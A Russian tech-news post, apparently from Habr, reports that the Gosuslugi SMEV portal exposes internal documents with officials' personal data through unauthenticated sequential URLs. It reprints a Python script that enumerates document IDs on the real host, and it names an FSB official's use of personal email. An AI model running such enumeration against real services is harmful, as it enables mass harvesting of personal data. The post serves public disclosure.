Как стать автором
Обновить

Дыра на портале «Госуслуги»: внутренние документы лежат в открытом доступе

Информационная безопасность *Ненормальное программирование *Python *
Специалист по безопасности Александр Литреев рассказал об уязвимости на портале «Госуслуги».

Оказалось, что внутренние документы чиновников с их персональной информацией открыты для свободного доступа. «Абсолютно _ВСЯ_ база рабочих документов, касающихся интеграции лежит в открытом доступе, — пишет Литреев. — Она никак не зашифрована, не имеет никакой авторизации/аутентификации и, в принципе, скачать её может абсолютно кто угодно».

Посмотреть любой документ в базе можно по прямой ссылке такого вида:

http://smev.gosuslugi.ru/portal/api/files/get/XXXXX
где XXXXX — порядковый номер документа в системе.

Например, по запросу /files/get/10484 скачивается таблица Excel под названием МВ ответственные.xlsx, в которой содержится информация обо всех лицах, ответственных за интеграцию. В списке указаны ФИО, должность, служебные и личные мобильные телефоны, адрес электронной почты для связи по вопросам интеграции.



Александр Литреев напоминает, что на разработку портала «Госуслуги» было потрачено более 495 миллионов рублей. Ресурс позиционируется как централизованный сервис взаимодействия с различными государственными службами и органами — с помощью него можно оформить паспорт/загранпаспорт, водительское удостоверение, получить справку об отсутствии судимости и многое другое. По данным Минкомсвязи, по состоянию на апрель 2019 года на портале были зарегистрированы 86,5 млн россиян.

К системе подключены практически все ведомства страны, в том числе ФСБ, министерство обороны, МВД и другие.

Для интеграции данных из разных источников на портале организована Система Межведомственного Электронного Взаимодействия (СМЭВ), через которую подключаются все региональные и федеральные органы. Именно эта часть портала не защищена. Прямо сейчас документы с портала http://smev.gosuslugi.ru/ находятся в открытом доступе.

«Естественно, не составляет никакого труда написать скрипт, который обеспечит перебор всех таких адресов и выгрузит все такие документы, что уже успели сделать энтузиасты из одного соседнего государства», — пишет Литреев.

Хакерская группа THack3forU выложила на Github питоновский скрипт для поиска валидных URL с документами.

В общем-то, скрипт довольно простой:

import urllib.request
from urllib.error import URLError, HTTPError
a=1
s=[]
code=0
b=range(1, 999999)
for a in b:
   if a <= 9:
      s.append("".join(("http://smev.gosuslugi.ru/portal/api/files/get/00000",a.__str__())))
   elif a <= 99:
      s.append("".join(("http://smev.gosuslugi.ru/portal/api/files/get/0000",a.__str__())))
   elif a <= 999:
      s.append("".join(("http://smev.gosuslugi.ru/portal/api/files/get/000",a.__str__())))
   elif a <= 9999:
      s.append("".join(("http://smev.gosuslugi.ru/portal/api/files/get/00",a.__str__())))
   elif a <= 99999:
      s.append("".join(("http://smev.gosuslugi.ru/portal/api/files/get/0",a.__str__())))
   elif a <= 999999:
      s.append("".join(("http://smev.gosuslugi.ru/portal/api/files/get/",a.__str__())))
for i in range(len(s)):
   try:
      sitecode=urllib.request.urlopen(s[i]).getcode()
      if sitecode == 200:
         print(s[i],"Nice Url!")
         f = open('good.txt', 'a')
         f.write(s[i] + '\n')
         f.close()
   except urllib.error.HTTPError as e:
      if e.code == 500:
         print(s[i],"Invalid Url!")
      else:
         print(s[i],"Error:",e.code)

Файлы доступны и в поиске Google.

Александр Литреев просмотрел некоторые документы в базе и нашёл несколько любопытных деталей. Например, руководитель подразделения межведомственного взаимодействия ФСБ Мелин Александр Васильевич использует личную почту на Mail.ru.
Теги:
Хабы:
Всего голосов 32: ↑26 и ↓6 +20
Просмотры 18K
Комментарии Комментарии 36